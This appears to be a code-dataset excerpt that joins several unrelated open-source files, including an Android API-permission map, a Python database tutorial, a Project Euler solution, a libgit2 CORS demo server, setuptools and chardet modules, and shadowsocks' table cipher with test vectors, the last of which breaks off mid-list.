"Landroid/pim/vcard/VCardComposer$HandlerForOutputStream;-onInit-(Landroid/content/Context;)":
"READ_CONTACTS",
"Landroid/provider/ContactsContract$CommonDataKinds$Phone;-CONTENT_URI-Landroid/net/Uri;":
"READ_CONTACTS",
"Landroid/widget/QuickContactBadge;-assignContactFromEmail-(Ljava/lang/String; B)":
"READ_CONTACTS",
"Landroid/widget/QuickContactBadge;-assignContactFromPhone-(Ljava/lang/String; B)":
"READ_CONTACTS",
"Landroid/widget/QuickContactBadge;-trigger-(Landroid/net/Uri;)": "READ_CONTACTS",
"Landroid/content/ContentResolver;-openFileDescriptor-(Landroid/net/Uri; Ljava/lang/String;)":
"READ_CONTACTS",
"Landroid/content/ContentResolver;-openInputStream-(Landroid/net/Uri;)": "READ_CONTACTS",
"Landroid/content/ContentResolver;-openOutputStream-(Landroid/net/Uri;)": "READ_CONTACTS",
"Landroid/content/ContentResolver;-query-(Landroid/net/Uri; [L[Ljava/lang/Strin; Ljava/lang/String; [L[Ljava/lang/Strin; Ljava/lang/String;)":
"READ_CONTACTS",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-backupNow-()": "BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-beginRestoreSession-(Ljava/lang/String;)":
"BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-clearBackupData-(Ljava/lang/String;)":
"BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-dataChanged-(Ljava/lang/String;)": "BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-getCurrentTransport-()": "BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-isBackupEnabled-()": "BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-listAllTransports-()": "BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-selectBackupTransport-(Ljava/lang/String;)":
"BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-setAutoRestore-(B)": "BACKUP",
"Landroid/app/backup/IBackupManager$Stub$Proxy;-setBackupEnabled-(B)": "BACKUP",
"Landroid/app/IActivityManager$Stub$Proxy;-bindBackupAgent-(Landroid/content/pm/ApplicationInfo; I)":
"BACKUP",
"Landroid/app/backup/BackupManager;-beginRestoreSession-()": "BACKUP",
"Landroid/app/backup/BackupManager;-dataChanged-(Ljava/lang/String;)": "BACKUP",
"Landroid/app/backup/BackupManager;-requestRestore-(Landroid/app/backup/RestoreObserver;)":
"BACKUP",
}
| apache-2.0 |
zmsch27/Python | PythonBase/Python_SQL.py | 1 | 5850 | #以下来自廖雪峰的Python学习之Python数据库
#SQLite////////////////////////////////////////////////////
#SQLite是一种嵌入式数据库,它的数据库就是一个文件。由于SQLite本身是C写的,而且体积很小
#所以,经常被集成到各种应用程序中,甚至在iOS和Android的App中都可以集成。
#Python就内置了SQLite3,所以,在Python中使用SQLite,不需要安装任何东西,直接使用。
# 导入SQLite驱动:
import sqlite3
# 连接到SQLite数据库
# 数据库文件是test.db
# 如果文件不存在,会自动在当前目录创建:
conn = sqlite3.connect('test.db')
# 创建一个Cursor:
cursor = conn.cursor()
# 执行一条SQL语句,创建user表:
cursor.execute('create table user (id varchar(20) primary key, name varchar(20))')
# 继续执行一条SQL语句,插入一条记录:
cursor.execute('insert into user (id, name) values (\'1\', \'Michael\')')
# 通过rowcount获得插入的行数:
print(cursor.rowcount)
# 关闭Cursor:
cursor.close()
# 提交事务:
conn.commit()
# 关闭Connection:
conn.close()
#我们再试试查询记录:
conn = sqlite3.connect('test.db')
cursor = conn.cursor()
# 执行查询语句:
cursor.execute('select * from user where id=?', ('1',))
# 获得查询结果集:
values = cursor.fetchall()
print(values)
cursor.close()
conn.close()
#使用Python的DB-API时,只要搞清楚Connection和Cursor对象,打开后一定记得关闭,就可以放心地使用。
#使用Cursor对象执行insert,update,delete语句时,执行结果由rowcount返回影响的行数,就可以拿到执行结果。
#使用Cursor对象执行select语句时,通过featchall()可以拿到结果集。结果集是一个list,每个元素都是一个tuple,对应一行记录。
#如果SQL语句带有参数,那么需要把参数按照位置传递给execute()方法,有几个?占位符就必须对应几个参数,例如:
#cursor.execute('select * from user where name=? and pwd=?', ('abc', 'password'))
print('-----------------------------------------\n')
#MySQL/////////////////////////////////////////////////////////////
#MySQL是Web世界中使用最广泛的数据库服务器。SQLite的特点是轻量级、可嵌入,但不能承受高并发访问,适合桌面和移动应用。
#而MySQL是为服务器端设计的数据库,能承受高并发访问,同时占用的内存也远远大于SQLite。
#此外,MySQL内部有多种数据库引擎,最常用的引擎是支持数据库事务的InnoDB。
# 导入MySQL驱动:
import mysql.connector
# 注意把password设为你的root口令:
conn = mysql.connector.connect(user='root', password='123', database='python_test')
cursor = conn.cursor()
# 创建user表:
cursor.execute('create table user (id varchar(20) primary key, name varchar(20))')
# 插入一行记录,注意MySQL的占位符是%s:
cursor.execute('insert into user (id, name) values (%s, %s)', ['1', 'Michael'])
print(cursor.rowcount)
# 提交事务:
conn.commit()
cursor.close()
# 运行查询:
cursor = conn.cursor()
cursor.execute('select * from user where id = %s', ('1',))
values = cursor.fetchall()
print(values)
# 关闭Cursor和Connection:
cursor.close()
conn.close()
print('-----------------------------------------\n')
#SQLAlchemy//////////////////////////////////////////////////////////
# 导入:
from sqlalchemy import Column, String, create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
# 创建对象的基类:
Base = declarative_base()
# 定义User对象:
class User(Base):
# 表的名字:
__tablename__ = 'user'
# 表的结构:
id = Column(String(20), primary_key=True)
name = Column(String(20))
# 初始化数据库连接:
engine = create_engine('mysql+mysqlconnector://root:123@localhost:3306/python_test')
# 创建DBSession类型:
DBSession = sessionmaker(bind=engine)
#create_engine()用来初始化数据库连接。SQLAlchemy用一个字符串表示连接信息: '数据库类型+数据库驱动名称://用户名:口令@机器地址:端口号/数据库名'
#由于有了ORM,我们向数据库表中添加一行记录,可以视为添加一个User对象:
# 创建session对象:
session = DBSession()
# 创建新User对象:
new_user = User(id='5', name='Bob')
# 添加到session:
session.add(new_user)
# 提交即保存到数据库:
session.commit()
# 关闭session:
session.close()
#可见,关键是获取session,然后把对象添加到session,最后提交并关闭。DBSession对象可视为当前数据库连接。
#如何从数据库表中查询数据呢?有了ORM,查询出来的可以不再是tuple,而是User对象。SQLAlchemy提供的查询接口如下:
# 创建Session:
session = DBSession()
# 创建Query查询,filter是where条件,最后调用one()返回唯一行,如果调用all()则返回所有行:
user = session.query(User).filter(User.id=='5').one()
# 打印类型和对象的name属性:
print('type:', type(user))
print('name:', user.name)
# 关闭Session:
session.close()
print('-----------------------------------------')
#创建表-------------------------------------------------------------------
# 导入:
from sqlalchemy import Column, String, create_engine
from sqlalchemy.ext.declarative import declarative_base
# 创建对象的基类:
Base = declarative_base()
class User(Base):
__tablename__ = 'user'
id = Column(String(20), primary_key=True)
name = Column(String(20))
class Book(Base):
__tablename__ = 'book'
id = Column(String(20), primary_key=True)
name = Column(String(20))
# “多”的一方的book表是通过外键关联到user表的:
user_id = Column(String(20))
engine = create_engine('mysql+mysqlconnector://root:123@localhost:3306/python_test')
metadata = Base.metadata
metadata.create_all(engine) | apache-2.0 |
vnbrs/project-euler | problem-13.py | 1 | 5266 | n_list = [37107287533902102798797998220837590246510135740250,
46376937677490009712648124896970078050417018260538,
74324986199524741059474233309513058123726617309629,
91942213363574161572522430563301811072406154908250,
23067588207539346171171980310421047513778063246676,
89261670696623633820136378418383684178734361726757,
28112879812849979408065481931592621691275889832738,
44274228917432520321923589422876796487670272189318,
47451445736001306439091167216856844588711603153276,
70386486105843025439939619828917593665686757934951,
62176457141856560629502157223196586755079324193331,
64906352462741904929101432445813822663347944758178,
92575867718337217661963751590579239728245598838407,
58203565325359399008402633568948830189458628227828,
80181199384826282014278194139940567587151170094390,
35398664372827112653829987240784473053190104293586,
86515506006295864861532075273371959191420517255829,
71693888707715466499115593487603532921714970056938,
54370070576826684624621495650076471787294438377604,
53282654108756828443191190634694037855217779295145,
36123272525000296071075082563815656710885258350721,
45876576172410976447339110607218265236877223636045,
17423706905851860660448207621209813287860733969412,
81142660418086830619328460811191061556940512689692,
51934325451728388641918047049293215058642563049483,
62467221648435076201727918039944693004732956340691,
15732444386908125794514089057706229429197107928209,
55037687525678773091862540744969844508330393682126,
18336384825330154686196124348767681297534375946515,
80386287592878490201521685554828717201219257766954,
78182833757993103614740356856449095527097864797581,
16726320100436897842553539920931837441497806860984,
48403098129077791799088218795327364475675590848030,
87086987551392711854517078544161852424320693150332,
59959406895756536782107074926966537676326235447210,
69793950679652694742597709739166693763042633987085,
41052684708299085211399427365734116182760315001271,
65378607361501080857009149939512557028198746004375,
35829035317434717326932123578154982629742552737307,
94953759765105305946966067683156574377167401875275,
88902802571733229619176668713819931811048770190271,
25267680276078003013678680992525463401061632866526,
36270218540497705585629946580636237993140746255962,
24074486908231174977792365466257246923322810917141,
91430288197103288597806669760892938638285025333403,
34413065578016127815921815005561868836468420090470,
23053081172816430487623791969842487255036638784583,
11487696932154902810424020138335124462181441773470,
63783299490636259666498587618221225225512486764533,
67720186971698544312419572409913959008952310058822,
95548255300263520781532296796249481641953868218774,
76085327132285723110424803456124867697064507995236,
37774242535411291684276865538926205024910326572967,
23701913275725675285653248258265463092207058596522,
29798860272258331913126375147341994889534765745501,
18495701454879288984856827726077713721403798879715,
38298203783031473527721580348144513491373226651381,
34829543829199918180278916522431027392251122869539,
40957953066405232632538044100059654939159879593635,
29746152185502371307642255121183693803580388584903,
41698116222072977186158236678424689157993532961922,
62467957194401269043877107275048102390895523597457,
23189706772547915061505504953922979530901129967519,
86188088225875314529584099251203829009407770775672,
11306739708304724483816533873502340845647058077308,
82959174767140363198008187129011875491310547126581,
97623331044818386269515456334926366572897563400500,
42846280183517070527831839425882145521227251250327,
55121603546981200581762165212827652751691296897789,
32238195734329339946437501907836945765883352399886,
75506164965184775180738168837861091527357929701337,
62177842752192623401942399639168044983993173312731,
32924185707147349566916674687634660915035914677504,
99518671430235219628894890102423325116913619626622,
73267460800591547471830798392868535206946944540724,
76841822524674417161514036427982273348055556214818,
97142617910342598647204516893989422179826088076852,
87783646182799346313767754307809363333018982642090,
10848802521674670883215120185883543223812876952786,
71329612474782464538636993009049310363619763878039,
62184073572399794223406235393808339651327408011116,
66627891981488087797941876876144230030984490851411,
60661826293682836764744779239180335110989069790714,
85786944089552990653640447425576083659976645795096,
66024396409905389607120198219976047599490197230297,
64913982680032973156037120041377903785566085089252,
16730939319872750275468906903707539413042652315011,
94809377245048795150954100921645863754710598436791,
78639167021187492431995700641917969777599028300699,
15368713711936614952811305876380278410754449733078,
40789923115535562561142322423255033685442488917353,
44889911501440648020369068063960672322193204149535,
41503128880339536053299340368006977710650566631954,
81234880673210146739058568557934581403627822703280,
82616570773948327592232845941706525094512325230608,
22918802058777319719839450180888072429661980811197,
77158542502016545090413245809786882778948721859617,
72107838435069186155435662884062257473692284509516,
20849603980134001723930671666823555245252804609722,
53503534226472524250874054075591789781264330331690]
s = 0
for i in n_list:
s += i
print(str(s)[0:10])
| mit |
GoogleChromeLabs/chromeos_smart_card_connector | third_party/webports/src/src/ports/libgit2-demo/httpd.py | 3 | 4667 | #!/usr/bin/env python
# Copyright 2015 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
An example HTTP server that returns the correct CORS headers for using with the
libgit2 URL transport scheme.
The libgit2-demo allows you to use two alternate schemes: "pepper_http://" and
"pepper_https://" to communicate with remote git servers. These schemes will
communicate using the Pepper URLLoader interface instead of Pepper TCPSocket
interface. URLLoader is available to all Native Client applications, but
TCPSockets are only available to Chrome Apps.
These alternate schemes require the git server to respond with specific CORS
headers, which as of this writing, most git servers don't do. This server shows
gives an example of a CGI script that calls git http-backend, as well as
returning the correct CORS headers.
To use this script, run it in the directory you want to serve from. It must
contain a subdirectory "git" which contains one or more subdirectories for your
git repositories. e.g.
serve_root/
serve_root/git
serve_root/git/my_repo1
serve_root/git/my_repo2
etc.
These git repositories can then be accessed via the following URLs:
http://localhost:8080/git/my_repo1
http://localhost:8080/git/my_repo2
etc.
If you use these URLs in the libgit2-demo, it will use the Pepper socket API.
to use the URLLoader interface, you must instead use the alternate schemes:
pepper_http://localhost:8080/git/my_repo1
pepper_http://localhost:8080/git/my_repo2
"""
import os
import select
import subprocess
import urlparse
from SimpleHTTPServer import SimpleHTTPRequestHandler
class GetHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.handle_git('GET'):
return
SimpleHTTPRequestHandler.do_GET(self)
def do_HEAD(self):
if self.handle_git('HEAD'):
return
SimpleHTTPRequestHandler.do_HEAD(self)
def do_OPTIONS(self):
self.send_response(200, 'Script output follows')
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'content-type')
self.end_headers()
def do_POST(self):
if self.handle_git('POST'):
return
SimpleHTTPRequestHandler.do_POST(self)
def handle_git(self, method):
parsed_path = urlparse.urlparse(self.path)
if not parsed_path.path.startswith('/git/'):
return False
path_no_git = parsed_path.path[len('/git/'):]
first_slash = path_no_git.find('/')
if first_slash < 0:
return False
# Assume that all git projects are in /git/<PROJECT NAME>
git_project_root = path_no_git[:first_slash]
path_info = path_no_git[first_slash:]
env = dict(os.environ)
env['GIT_HTTP_EXPORT_ALL'] = '1'
env['REQUEST_METHOD'] = method
env['QUERY_STRING'] = parsed_path.query
env['PATH_INFO'] = path_info
env['GIT_PROJECT_ROOT'] = os.path.join(os.getcwd(), 'git', git_project_root)
env['REMOTE_USER'] = 'git-user'
if self.headers.typeheader is None:
env['CONTENT_TYPE'] = self.headers.type
else:
env['CONTENT_TYPE'] = self.headers.typeheader
length = self.headers.getheader('content-length')
if length:
env['CONTENT_LENGTH'] = length
nbytes = 0
if length is not None:
nbytes = int(length)
self.send_response(200, 'Script output follows')
self.send_header('Access-Control-Allow-Origin', '*')
# from CGIHTTPServer.CGIHTTPRequestHandler
p = subprocess.Popen(['git', 'http-backend'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env)
if method == "POST" and nbytes > 0:
data = self.rfile.read(nbytes)
else:
data = None
# throw away additional data [see bug #427345]
while select.select([self.rfile._sock], [], [], 0)[0]:
if not self.rfile._sock.recv(1):
break
stdout, stderr = p.communicate(data)
self.wfile.write(stdout)
if stderr:
self.log_error('%s', stderr)
p.stderr.close()
p.stdout.close()
status = p.returncode
if status:
self.log_error("CGI script exit status %#x", status)
else:
self.log_message("CGI script exited OK")
return True
if __name__ == '__main__':
from BaseHTTPServer import HTTPServer
server = HTTPServer(('localhost', 8080), GetHandler)
print 'Starting server, use <Ctrl-C> to stop'
server.serve_forever()
| apache-2.0 |
apprentice3d/Wox | PythonHome/Lib/site-packages/setuptools/command/install_egg_info.py | 423 | 4001 | from distutils import log, dir_util
import os
from setuptools import Command
from setuptools.archive_util import unpack_archive
import pkg_resources
class install_egg_info(Command):
"""Install an .egg-info directory for the package"""
description = "Install an .egg-info directory for the package"
user_options = [
('install-dir=', 'd', "directory to install to"),
]
def initialize_options(self):
self.install_dir = None
def finalize_options(self):
self.set_undefined_options('install_lib',
('install_dir', 'install_dir'))
ei_cmd = self.get_finalized_command("egg_info")
basename = pkg_resources.Distribution(
None, None, ei_cmd.egg_name, ei_cmd.egg_version
).egg_name() + '.egg-info'
self.source = ei_cmd.egg_info
self.target = os.path.join(self.install_dir, basename)
self.outputs = [self.target]
def run(self):
self.run_command('egg_info')
if os.path.isdir(self.target) and not os.path.islink(self.target):
dir_util.remove_tree(self.target, dry_run=self.dry_run)
elif os.path.exists(self.target):
self.execute(os.unlink, (self.target,), "Removing " + self.target)
if not self.dry_run:
pkg_resources.ensure_directory(self.target)
self.execute(
self.copytree, (), "Copying %s to %s" % (self.source, self.target)
)
self.install_namespaces()
def get_outputs(self):
return self.outputs
def copytree(self):
# Copy the .egg-info tree to site-packages
def skimmer(src, dst):
# filter out source-control directories; note that 'src' is always
# a '/'-separated path, regardless of platform. 'dst' is a
# platform-specific path.
for skip in '.svn/', 'CVS/':
if src.startswith(skip) or '/' + skip in src:
return None
self.outputs.append(dst)
log.debug("Copying %s to %s", src, dst)
return dst
unpack_archive(self.source, self.target, skimmer)
def install_namespaces(self):
nsp = self._get_all_ns_packages()
if not nsp:
return
filename, ext = os.path.splitext(self.target)
filename += '-nspkg.pth'
self.outputs.append(filename)
log.info("Installing %s", filename)
lines = map(self._gen_nspkg_line, nsp)
if self.dry_run:
# always generate the lines, even in dry run
list(lines)
return
with open(filename, 'wt') as f:
f.writelines(lines)
_nspkg_tmpl = (
"import sys, types, os",
"p = os.path.join(sys._getframe(1).f_locals['sitedir'], *%(pth)r)",
"ie = os.path.exists(os.path.join(p,'__init__.py'))",
"m = not ie and "
"sys.modules.setdefault(%(pkg)r, types.ModuleType(%(pkg)r))",
"mp = (m or []) and m.__dict__.setdefault('__path__',[])",
"(p not in mp) and mp.append(p)",
)
"lines for the namespace installer"
_nspkg_tmpl_multi = (
'm and setattr(sys.modules[%(parent)r], %(child)r, m)',
)
"additional line(s) when a parent package is indicated"
@classmethod
def _gen_nspkg_line(cls, pkg):
# ensure pkg is not a unicode string under Python 2.7
pkg = str(pkg)
pth = tuple(pkg.split('.'))
tmpl_lines = cls._nspkg_tmpl
parent, sep, child = pkg.rpartition('.')
if parent:
tmpl_lines += cls._nspkg_tmpl_multi
return ';'.join(tmpl_lines) % locals() + '\n'
def _get_all_ns_packages(self):
"""Return sorted list of all package namespaces"""
nsp = set()
for pkg in self.distribution.namespace_packages or []:
pkg = pkg.split('.')
while pkg:
nsp.add('.'.join(pkg))
pkg.pop()
return sorted(nsp)
| mit |
malelew/UCLA_Dining_Web_App | ENV/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/latin1prober.py | 1778 | 5232 | ######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
# Mark Pilgrim - port to Python
# Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
from .charsetprober import CharSetProber
from .constants import eNotMe
from .compat import wrap_ord
FREQ_CAT_NUM = 4
UDF = 0 # undefined
OTH = 1 # other
ASC = 2 # ascii capital letter
ASS = 3 # ascii small letter
ACV = 4 # accent capital vowel
ACO = 5 # accent capital other
ASV = 6 # accent small vowel
ASO = 7 # accent small other
CLASS_NUM = 8 # total classes
Latin1_CharToClass = (
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F
OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47
ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F
ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57
ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F
OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67
ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F
ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77
ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F
OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87
OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F
UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97
OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7
OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF
ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7
ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF
ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7
ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF
ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7
ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF
ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7
ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF
)
# 0 : illegal
# 1 : very unlikely
# 2 : normal
# 3 : very likely
Latin1ClassModel = (
# UDF OTH ASC ASS ACV ACO ASV ASO
0, 0, 0, 0, 0, 0, 0, 0, # UDF
0, 3, 3, 3, 3, 3, 3, 3, # OTH
0, 3, 3, 3, 3, 3, 3, 3, # ASC
0, 3, 3, 3, 1, 1, 3, 3, # ASS
0, 3, 3, 3, 1, 2, 1, 2, # ACV
0, 3, 3, 3, 3, 3, 3, 3, # ACO
0, 3, 1, 3, 1, 1, 1, 3, # ASV
0, 3, 1, 3, 1, 1, 3, 3, # ASO
)
class Latin1Prober(CharSetProber):
def __init__(self):
CharSetProber.__init__(self)
self.reset()
def reset(self):
self._mLastCharClass = OTH
self._mFreqCounter = [0] * FREQ_CAT_NUM
CharSetProber.reset(self)
def get_charset_name(self):
return "windows-1252"
def feed(self, aBuf):
aBuf = self.filter_with_english_letters(aBuf)
for c in aBuf:
charClass = Latin1_CharToClass[wrap_ord(c)]
freq = Latin1ClassModel[(self._mLastCharClass * CLASS_NUM)
+ charClass]
if freq == 0:
self._mState = eNotMe
break
self._mFreqCounter[freq] += 1
self._mLastCharClass = charClass
return self.get_state()
def get_confidence(self):
if self.get_state() == eNotMe:
return 0.01
total = sum(self._mFreqCounter)
if total < 0.01:
confidence = 0.0
else:
confidence = ((self._mFreqCounter[3] - self._mFreqCounter[1] * 20.0)
/ total)
if confidence < 0.0:
confidence = 0.0
# lower the confidence of latin1 so that other more accurate
# detector can take priority.
confidence = confidence * 0.73
return confidence
| mit |
udo-tech-team/shadowsocks-1 | shadowsocks/crypto/table.py | 1044 | 8108 | # !/usr/bin/env python
#
# Copyright 2015 clowwindy
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from __future__ import absolute_import, division, print_function, \
with_statement
import string
import struct
import hashlib
__all__ = ['ciphers']
cached_tables = {}
if hasattr(string, 'maketrans'):
maketrans = string.maketrans
translate = string.translate
else:
maketrans = bytes.maketrans
translate = bytes.translate
def get_table(key):
m = hashlib.md5()
m.update(key)
s = m.digest()
a, b = struct.unpack('<QQ', s)
table = maketrans(b'', b'')
table = [table[i: i + 1] for i in range(len(table))]
for i in range(1, 1024):
table.sort(key=lambda x: int(a % (ord(x) + i)))
return table
def init_table(key):
if key not in cached_tables:
encrypt_table = b''.join(get_table(key))
decrypt_table = maketrans(encrypt_table, maketrans(b'', b''))
cached_tables[key] = [encrypt_table, decrypt_table]
return cached_tables[key]
class TableCipher(object):
def __init__(self, cipher_name, key, iv, op):
self._encrypt_table, self._decrypt_table = init_table(key)
self._op = op
def update(self, data):
if self._op:
return translate(data, self._encrypt_table)
else:
return translate(data, self._decrypt_table)
ciphers = {
'table': (0, 0, TableCipher)
}
def test_table_result():
from shadowsocks.common import ord
target1 = [
[60, 53, 84, 138, 217, 94, 88, 23, 39, 242, 219, 35, 12, 157, 165, 181,
255, 143, 83, 247, 162, 16, 31, 209, 190, 171, 115, 65, 38, 41, 21,
245, 236, 46, 121, 62, 166, 233, 44, 154, 153, 145, 230, 49, 128, 216,
173, 29, 241, 119, 64, 229, 194, 103, 131, 110, 26, 197, 218, 59, 204,
56, 27, 34, 141, 221, 149, 239, 192, 195, 24, 155, 170, 183, 11, 254,
213, 37, 137, 226, 75, 203, 55, 19, 72, 248, 22, 129, 33, 175, 178,
10, 198, 71, 77, 36, 113, 167, 48, 2, 117, 140, 142, 66, 199, 232,
243, 32, 123, 54, 51, 82, 57, 177, 87, 251, 150, 196, 133, 5, 253,
130, 8, 184, 14, 152, 231, 3, 186, 159, 76, 89, 228, 205, 156, 96,
163, 146, 18, 91, 132, 85, 80, 109, 172, 176, 105, 13, 50, 235, 127,
0, 189, 95, 98, 136, 250, 200, 108, 179, 211, 214, 106, 168, 78, 79,
74, 210, 30, 73, 201, 151, 208, 114, 101, 174, 92, 52, 120, 240, 15,
169, 220, 182, 81, 224, 43, 185, 40, 99, 180, 17, 212, 158, 42, 90, 9,
191, 45, 6, 25, 4, 222, 67, 126, 1, 116, 124, 206, 69, 61, 7, 68, 97,
202, 63, 244, 20, 28, 58, 93, 134, 104, 144, 227, 147, 102, 118, 135,
148, 47, 238, 86, 112, 122, 70, 107, 215, 100, 139, 223, 225, 164,
237, 111, 125, 207, 160, 187, 246, 234, 161, 188, 193, 249, 252],
[151, 205, 99, 127, 201, 119, 199, 211, 122, 196, 91, 74, 12, 147, 124,
180, 21, 191, 138, 83, 217, 30, 86, 7, 70, 200, 56, 62, 218, 47, 168,
22, 107, 88, 63, 11, 95, 77, 28, 8, 188, 29, 194, 186, 38, 198, 33,
230, 98, 43, 148, 110, 177, 1, 109, 82, 61, 112, 219, 59, 0, 210, 35,
215, 50, 27, 103, 203, 212, 209, 235, 93, 84, 169, 166, 80, 130, 94,
164, 165, 142, 184, 111, 18, 2, 141, 232, 114, 6, 131, 195, 139, 176,
220, 5, 153, 135, 213, 154, 189, 238, 174, 226, 53, 222, 146, 162,
236, 158, 143, 55, 244, 233, 96, 173, 26, 206, 100, 227, 49, 178, 34,
234, 108, 207, 245, 204, 150, 44, 87, 121, 54, 140, 118, 221, 228,
155, 78, 3, 239, 101, 64, 102, 17, 223, 41, 137, 225, 229, 66, 116,
171, 125, 40, 39, 71, 134, 13, 193, 129, 247, 251, 20, 136, 242, 14,
36, 97, 163, 181, 72, 25, 144, 46, 175, 89, 145, 113, 90, 159, 190,
15, 183, 73, 123, 187, 128, 248, 252, 152, 24, 197, 68, 253, 52, 69,
117, 57, 92, 104, 157, 170, 214, 81, 60, 133, 208, 246, 172, 23, 167,
160, 192, 76, 161, 237, 45, 4, 58, 10, 182, 65, 202, 240, 185, 241,
79, 224, 132, 51, 42, 126, 105, 37, 250, 149, 32, 243, 231, 67, 179,
48, 9, 106, 216, 31, 249, 19, 85, 254, 156, 115, 255, 120, 75, 16]]
target2 = [
[124, 30, 170, 247, 27, 127, 224, 59, 13, 22, 196, 76, 72, 154, 32,
209, 4, 2, 131, 62, 101, 51, 230, 9, 166, 11, 99, 80, 208, 112, 36,
248, 81, 102, 130, 88, 218, 38, 168, 15, 241, 228, 167, 117, 158, 41,
10, 180, 194, 50, 204, 243, 246, 251, 29, 198, 219, 210, 195, 21, 54,
91, 203, 221, 70, 57, 183, 17, 147, 49, 133, 65, 77, 55, 202, 122,
162, 169, 188, 200, 190, 125, 63, 244, 96, 31, 107, 106, 74, 143, 116,
148, 78, 46, 1, 137, 150, 110, 181, 56, 95, 139, 58, 3, 231, 66, 165,
142, 242, 43, 192, 157, 89, 175, 109, 220, 128, 0, 178, 42, 255, 20,
214, 185, 83, 160, 253, 7, 23, 92, 111, 153, 26, 226, 33, 176, 144,
18, 216, 212, 28, 151, 71, 206, 222, 182, 8, 174, 205, 201, 152, 240,
155, 108, 223, 104, 239, 98, 164, 211, 184, 34, 193, 14, 114, 187, 40,
254, 12, 67, 93, 217, 6, 94, 16, 19, 82, 86, 245, 24, 197, 134, 132,
138, 229, 121, 5, 235, 238, 85, 47, 103, 113, 179, 69, 250, 45, 135,
156, 25, 61, 75, 44, 146, 189, 84, 207, 172, 119, 53, 123, 186, 120,
171, 68, 227, 145, 136, 100, 90, 48, 79, 159, 149, 39, 213, 236, 126,
52, 60, 225, 199, 105, 73, 233, 252, 118, 215, 35, 115, 64, 37, 97,
129, 161, 177, 87, 237, 141, 173, 191, 163, 140, 234, 232, 249],
[117, 94, 17, 103, 16, 186, 172, 127, 146, 23, 46, 25, 168, 8, 163, 39,
174, 67, 137, 175, 121, 59, 9, 128, 179, 199, 132, 4, 140, 54, 1, 85,
